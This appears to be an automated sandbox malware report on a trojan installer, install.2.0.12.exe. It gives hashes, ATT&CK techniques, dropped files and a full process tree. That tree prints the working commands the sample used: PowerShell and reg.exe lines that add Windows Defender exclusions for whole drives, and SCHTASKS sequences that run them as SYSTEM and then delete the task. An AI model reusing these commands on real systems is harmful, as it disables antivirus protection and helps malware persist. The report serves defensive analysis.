5540e36ae366e5a90b721d117704d14572277a964988d8c27c211a5bf664eec6

Analysis

max time kernel
150s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/10/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.12.exe
Size 31.2MB
Sample261017-halbjsax9q
SHA256 5540e36ae366e5a90b721d117704d14572277a964988d8c27c211a5bf664eec6
MD5 b214237deafd7cd97c1150bde399d2b5
SHA1 59672645a4e5ade7ed75e70b2907b7875cda51d2
SHA512 d6ca201c46fb6bbdae278b17fdf3e73163e6f0bc91c0f6806d3b04a49be95eb4bbf45b01826437a5153f82d141857e1a5f4ee6e00ad2f46218d381a1e133ea44
SSDEEP 98304:WSY9ZWA9GfUIV3mr0XTOvdYmYVTuQ2dC1Imcg:dY9YA0x3y0qVOTn2Zmcg
TLSH
T1EE77938BBF40CDC2F1168570E8A69BE06376ED758A71931731153F29BFBE1898DE1098
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\NU6g0b = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5780	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4512	0uto03.exe
2044	0uto03.exe

Loads dropped DLL 2 IoCs

pid	Process
4512	0uto03.exe
2044	0uto03.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\NU6g0b\\0uto03.exe\""	0uto03.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4880	cmd.exe
5284	cmd.exe
2192	cmd.exe
600	cmd.exe
5652	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	0uto03.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1632	cmd.exe
1800	cmd.exe
3712	cmd.exe
4964	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	0uto03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	0uto03.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2332	schtasks.exe
1512	schtasks.exe
1216	schtasks.exe
2584	schtasks.exe
4752	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4912	install.2.0.12.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe
4512	0uto03.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5780	powershell.exe
Token: SeIncreaseQuotaPrivilege	5780	powershell.exe
Token: SeSecurityPrivilege	5780	powershell.exe
Token: SeTakeOwnershipPrivilege	5780	powershell.exe
Token: SeLoadDriverPrivilege	5780	powershell.exe
Token: SeSystemProfilePrivilege	5780	powershell.exe
Token: SeSystemtimePrivilege	5780	powershell.exe
Token: SeProfSingleProcessPrivilege	5780	powershell.exe
Token: SeIncBasePriorityPrivilege	5780	powershell.exe
Token: SeCreatePagefilePrivilege	5780	powershell.exe
Token: SeBackupPrivilege	5780	powershell.exe
Token: SeRestorePrivilege	5780	powershell.exe
Token: SeShutdownPrivilege	5780	powershell.exe
Token: SeDebugPrivilege	5780	powershell.exe
Token: SeSystemEnvironmentPrivilege	5780	powershell.exe
Token: SeRemoteShutdownPrivilege	5780	powershell.exe
Token: SeUndockPrivilege	5780	powershell.exe
Token: SeManageVolumePrivilege	5780	powershell.exe
Token: 33	5780	powershell.exe
Token: 34	5780	powershell.exe
Token: 35	5780	powershell.exe
Token: 36	5780	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 5780	4512	0uto03.exe	92
PID 4512 wrote to memory of 2192	4512	0uto03.exe	95
PID 2192 wrote to memory of 2332	2192	cmd.exe	97
PID 4512 wrote to memory of 600	4512	0uto03.exe	99
PID 2192 wrote to memory of 2132	2192	cmd.exe	100
PID 4512 wrote to memory of 5652	4512	0uto03.exe	104
PID 2192 wrote to memory of 4868	2192	cmd.exe	106
PID 600 wrote to memory of 1512	600	cmd.exe	107
PID 5652 wrote to memory of 1216	5652	cmd.exe	108
PID 600 wrote to memory of 4296	600	cmd.exe	109
PID 5652 wrote to memory of 2836	5652	cmd.exe	111
PID 4512 wrote to memory of 4880	4512	0uto03.exe	112
PID 5652 wrote to memory of 6116	5652	cmd.exe	114
PID 600 wrote to memory of 4172	600	cmd.exe	115
PID 4880 wrote to memory of 2584	4880	cmd.exe	116
PID 4880 wrote to memory of 2476	4880	cmd.exe	117
PID 4512 wrote to memory of 5284	4512	0uto03.exe	119
PID 4880 wrote to memory of 1128	4880	cmd.exe	121
PID 5284 wrote to memory of 4752	5284	cmd.exe	122
PID 5284 wrote to memory of 1280	5284	cmd.exe	123
PID 5284 wrote to memory of 4408	5284	cmd.exe	129
PID 3712 wrote to memory of 3624	3712	cmd.exe	131
PID 4964 wrote to memory of 3240	4964	cmd.exe	132
PID 1800 wrote to memory of 5408	1800	cmd.exe	133
PID 1632 wrote to memory of 2276	1632	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4912

C:\Users\Public\NU6g0b\0uto03.exe
"C:\Users\Public\NU6g0b\0uto03.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NU6g0b\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NU6g0b\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2332
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1280
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4408

C:\Users\Public\NU6g0b\0uto03.exe
"C:\Users\Public\NU6g0b\0uto03.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2044

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NU6g0b" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NU6g0b" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3624

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4924

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3240

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2276

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 29279301e9ffa6e7871049a4f403d3f350224eacc5a43b711477197f4eb1c499
MD5 c4fd16544f1659a3e057a88e5d700a1e
SHA1 e1bce71390767b2dd5dd1d43551955596f9be914
SHA512 86f9bad1167891f3621aca7b9fbb7bcaf70e69557726375394cdf2e827414ae599bcd1e57468a416f6215bfd519e9bc5329a828abca4079bb1f32e7a5ec95546
TLSH
T1243196BF6F7D3AC69F3A8E9424CFF1312CF5A1C0AC8554A99115C478AE483B11E0E91D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 4f5c4d9cbe666b2592192ca31cf0a526c124c8d4ceaaaa81b1650b644ef4d2a7
MD5 d0d071eb235658b724f0cf9637d6af70
SHA1 8da35f210d1eced9c3a6b38a3aa225757075c6e2
SHA512 7f0213505893e8d0e9733b7adbb184cca779236995f75597ecc1d643033ebfc8b5c292eb07c1dddf405fa049576e9bcf79cbca744a3aa419513ab03639f1e6d3
TLSH
T13531D6934F391002DF0CAFB893C0E53BADF1A5B48CA8984A222DD1AA4645BF75F8A440
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 fcb8e35ac43746bfffef3643c5eb8854b7fec39d1161d0a0dcd3e7bba9b8b440
MD5 8b4096a4df85ea07134eeb86663ced1f
SHA1 89ab81f72666e667038d03331773ee5f95e5e42b
SHA512 e9fc04baee767acd113035ff55eb19ce440b93ed592db36f0b9a046365c0766e046aa4f59e911af9e3c9601d5edf8a2987db3d2cd6de62270c01c73e9a1ebedb
TLSH
T1D0F0DC042CBD523FF532DA3D47C9399A067FF6022403809C06B20F0C69516402E6157E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 7169dce5f9d3aba53b771135f3a501ef5da259dc32586ee12f4e44c6ee9c543b
MD5 dce2a430666c2f4e004471bc8eedf56a
SHA1 0365085e21c28c0b526c516d53186aba00e302b8
SHA512 10822136701aeffa42e5bab5d3ff6e2f5b90dd8db43810df468d1beb7e020b4eb24230c9de110378d1bdccc3734e24dbdb7df6a35681e5f6c7abe6cc2c3b4af2
TLSH
T17BF0233856D9001BF17BE2B806DBB2B39EA9F133000A91BE4AE907451E71C007CC376C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_c4ycmprz.ca5.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c4ycmprz.ca5.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

0uto03.exe

Path C:\Users\Public\NU6g0b\0uto03.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\NU6g0b\UxEnhance64.dll
Size 3.1MB
SHA256 792303ea153c34b8eb21c240c3bf1f71a14a17c3469855ac0d4d5f622253e2f9
MD5 2c90dea7e9cb610716e178d3967d0018
SHA1 78c2e30a1e16b8b0577eb6f5029d8c4012473740
SHA512 8147ee6c660f8c30b16a1ce1ec55ed6c48aaa4e0a964d630e51c8cc4ad81dd71f9dd7461410259a2d6096e3c47f9fa52ad589a6d492ed35df3b58cb18d6fc061
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+N:P9m29xx3Tiqt06ox6+z2rNNrKoN
TLSH
T1B8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\NU6g0b\adoresd.dat
Size 4.7MB
SHA256 2f39cbb3583b05ccbc94728e37f9f347cc9803f5816b39d3452e80646a12cd7b
MD5 e69ce86d4cd0c863c87eb63dfc37afea
SHA1 5dfd90ca3eca77e4613fb00021e2ef8b15678c7d
SHA512 25fb75af41745a10163118c9fe00940cb6fb1b1ad05bc78ebf1558be6be8b8abe2c62ec7c17d6b34ef6d6641ed96a6050e88467c07a37ced3ea44c872b8e5601
SSDEEP 98304:OKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:OKClqhi0Cv54K2IVS0VQg
TLSH
T15F3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\NU6g0b\msadox.tb
Size 8KB
SHA256 4adc1fe383adba0845bbd64934331bda4dc5c358b736eb969fa111cfd8d68d4b
MD5 51580281fe6c24ab2cd95250264503ab
SHA1 a78cd1ea217c1b0abd49bc198b70f6810eaf2114
SHA512 7d308045cc1c08130a6d89511e40201a6a4755fe455d3b04482e6793d13f168bc094888c6109b4d894609f778735b07a700dad8a318e62e54d66e4df7bd222de
SSDEEP 192:IXqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:IXsZqZOXQ3uqvR2Kfzp
TLSH
T1D6029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072ED2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2044-582-0x00007FFD8DF20000-0x00007FFD8DF22000-memory.dmp

Download

memory/2044-572-0x00007FFD6B300000-0x00007FFD6B81E000-memory.dmp

Download

memory/2044-588-0x000001D792F40000-0x000001D7937C7000-memory.dmp

Download

memory/2044-591-0x00007FFD8DF10000-0x00007FFD8DF12000-memory.dmp

Download

memory/2044-590-0x000001D792F40000-0x000001D7937C7000-memory.dmp

Download

memory/2044-589-0x000001D792F40000-0x000001D7937C7000-memory.dmp

Download

memory/2044-587-0x000001D792F40000-0x000001D7937C7000-memory.dmp

Download

memory/2044-583-0x000001D792F40000-0x000001D7937C7000-memory.dmp

Download

memory/2044-579-0x000001D792F40000-0x000001D7937C7000-memory.dmp

Download

memory/4512-550-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-545-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-556-0x000002603D2C0000-0x000002603D30E000-memory.dmp

Download

memory/4512-558-0x000002603E5E0000-0x000002603E66A000-memory.dmp

Download

memory/4512-561-0x000002603E5E0000-0x000002603E66A000-memory.dmp

Download

memory/4512-559-0x000002603E5E0000-0x000002603E66A000-memory.dmp

Download

memory/4512-560-0x000002603E5E0000-0x000002603E66A000-memory.dmp

Download

memory/4512-563-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-566-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-601-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-530-0x00007FFD8DF10000-0x00007FFD8DF12000-memory.dmp

Download

memory/4512-536-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-538-0x00007FFD8DF20000-0x00007FFD8DF22000-memory.dmp

Download

memory/4512-531-0x00007FFD6B300000-0x00007FFD6B81E000-memory.dmp

Download

memory/4512-546-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-539-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-544-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4512-543-0x000002603DD50000-0x000002603E5D7000-memory.dmp

Download

memory/4912-0-0x0000000000420000-0x000000000042E000-memory.dmp

Download

memory/4912-2-0x00000000007B0000-0x00000000007BC000-memory.dmp

Download

memory/4912-504-0x00007FFD85710000-0x00007FFD85722000-memory.dmp

Download

memory/4912-524-0x0000000000420000-0x000000000042E000-memory.dmp

Download

memory/4912-525-0x00007FFD85710000-0x00007FFD85722000-memory.dmp

Download

memory/4912-1-0x0000000000420000-0x000000000042E000-memory.dmp

Download

memory/5780-600-0x000001E3713B0000-0x000001E3713D2000-memory.dmp

Download

memory/5780-604-0x000001E371400000-0x000001E37141E000-memory.dmp

Download

memory/5780-605-0x000001E3716A0000-0x000001E371752000-memory.dmp

Download

memory/5780-606-0x000001E3713E0000-0x000001E3713EA000-memory.dmp

Download